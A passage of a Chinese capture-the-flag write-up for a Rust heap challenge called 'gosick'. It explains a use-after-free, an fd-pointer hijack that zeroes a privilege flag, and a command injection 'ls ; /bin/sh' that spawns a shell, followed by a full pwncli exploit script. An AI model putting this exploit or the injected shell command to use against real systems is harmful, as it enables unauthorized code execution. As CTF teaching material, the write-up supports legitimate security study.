leak("heap_base", heap_base)
101
leak("libc_base", libc_base)
102

103
ia()

gosick

用rust写的堆题，IDA打开太难看了，将其送入AI分析( •́ .̫ •̀ )

按照AI给的提示进行尝试

1
add(0, b"AAAAAAAA")
2
add(1, b"BBBBBBBB")
3
add(2, b"CCCCCCCC")
4
for i in range(6):
5
    show(0)

经过如上指令之后，堆块1和堆块2被释放，但是依然能被show和edit，可以看到实现了UAF，AI给的提示有些差异，但是仍然立大功( •́ .̫ •̀ )，可以通过这个方式拿到堆块基地址同时挟持fd

我们看一下login函数和gift函数，当经过login函数后，程序会创建数个堆块，当进入gift函数时会对堆块中的一个值进行判断，当这个值为0时可以输入指令执行，类似于这一位来判断是user还是root，user权限不能执行，root权限可以执行

因此我们只需要通过挟持fd来控制cmp qword ptr [rax + 8], 0判断的八字节为0，从而就可以实现指令的执行

可执行的指令为ls date whoami但是拼接指令仍可以执行，如ls ; /bin/sh就可以拿到shell

因此攻击整个流程如下：

通过show来构造UAF
登录
篡改堆块中的权限标志位
触发gift函数，输入指令ls ; /bin/sh

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3

4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7

8
# use script mode
9
cli_script()
10

11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15

64 collapsed lines
16
def cmd(i, prompt=b"6.Exit"):
17
    sla(prompt, i)
18
def add(idx, co):
19
    cmd(b"1")
20
    sla(b"Index", str(idx).encode())
21
    sla(b"Content", co)
22
    # ......
23
def edit(idx, size, co):
24
    cmd(b"2")
25
    sla(b"Index", str(idx).encode())
26
    sla(b"Size", str(size).encode())
27
    sla(b"Content", co)
28
    # ......
29
def show(idx):
30
    cmd(b"3")
31
    sla(b"Index", str(idx).encode())
32
    # ......
33
def dele(idx):
34
    cmd(b"2")
35
    # ......
36

37
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
38
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
39

40
ru(b"Tell me your name")
41
sl(b"nzy")
42

43
add(0, b"AAAAAAAA")
44
add(1, b"BBBBBBBB")
45
add(2, b"CCCCCCCC")
46
for i in range(6):
47
    show(0)
48
show(1)
49
ru(b"Content: ")
50
addr1 = u64(r(5).ljust(8,b'\x00'))
51
show(2)
52
ru(b"Content: ")
53
temp = b""
54
while True:
55
    t = r(1)
56
    temp += t
57
    if t in [b"\x55", b"\x56"]:
58
        break
59
addr2 = u64(temp[-6:].ljust(8, b"\x00"))
60
heap_base = (addr1-2)<<12
61

62
cmd(b"5")
63
sla(b"Name:", b"nzy")
64

65
edit(2, 0x10, p64((heap_base+0x3370) ^ (addr1+1)))
66

67
add(3, b"BBBBBBBB")
68
add(4, b"BBBBBBBB")
69
add(5, b"BBBBBBBB"+p64(0))
70

71
cmd(b"4")
72
ru(b">")
73
sl("ls ; /bin/sh")
74

75
leak("addr1", addr1)
76
leak("addr2", addr2)
77
leak("heap_base", heap_base)
78

79
ia()